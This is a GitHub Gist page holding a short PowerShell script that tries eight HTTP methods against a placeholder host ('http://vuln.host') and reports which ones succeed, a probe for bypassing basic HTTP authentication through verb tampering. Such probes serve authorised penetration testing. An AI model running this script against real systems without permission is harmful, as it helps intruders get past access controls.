Skip to content

Instantly share code, notes, and snippets.

@hddananjaya

hddananjaya/bypass_basic_http_auth.ps1

Created April 4, 2019 04:22
Show Gist options
  • Save hddananjaya/6d71e3a7b62fa4f3f3e128e9d6a1b4f0 to your computer and use it in GitHub Desktop.
Save hddananjaya/6d71e3a7b62fa4f3f3e128e9d6a1b4f0 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
bypass_basic_http_auth.ps1
# Bypass basic http authentication by method tempering
$http_methods = "GET", "HEAD", "POST", "PUT", "DELETE", "CONNECT", "OPTIONS", "TRACE"
foreach ($method in $http_methods){
Try{
$response = Invoke-WebRequest 'http://vuln.host' -Method $method
Write-Host ("Vulnerable for $method method")
}Catch{}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment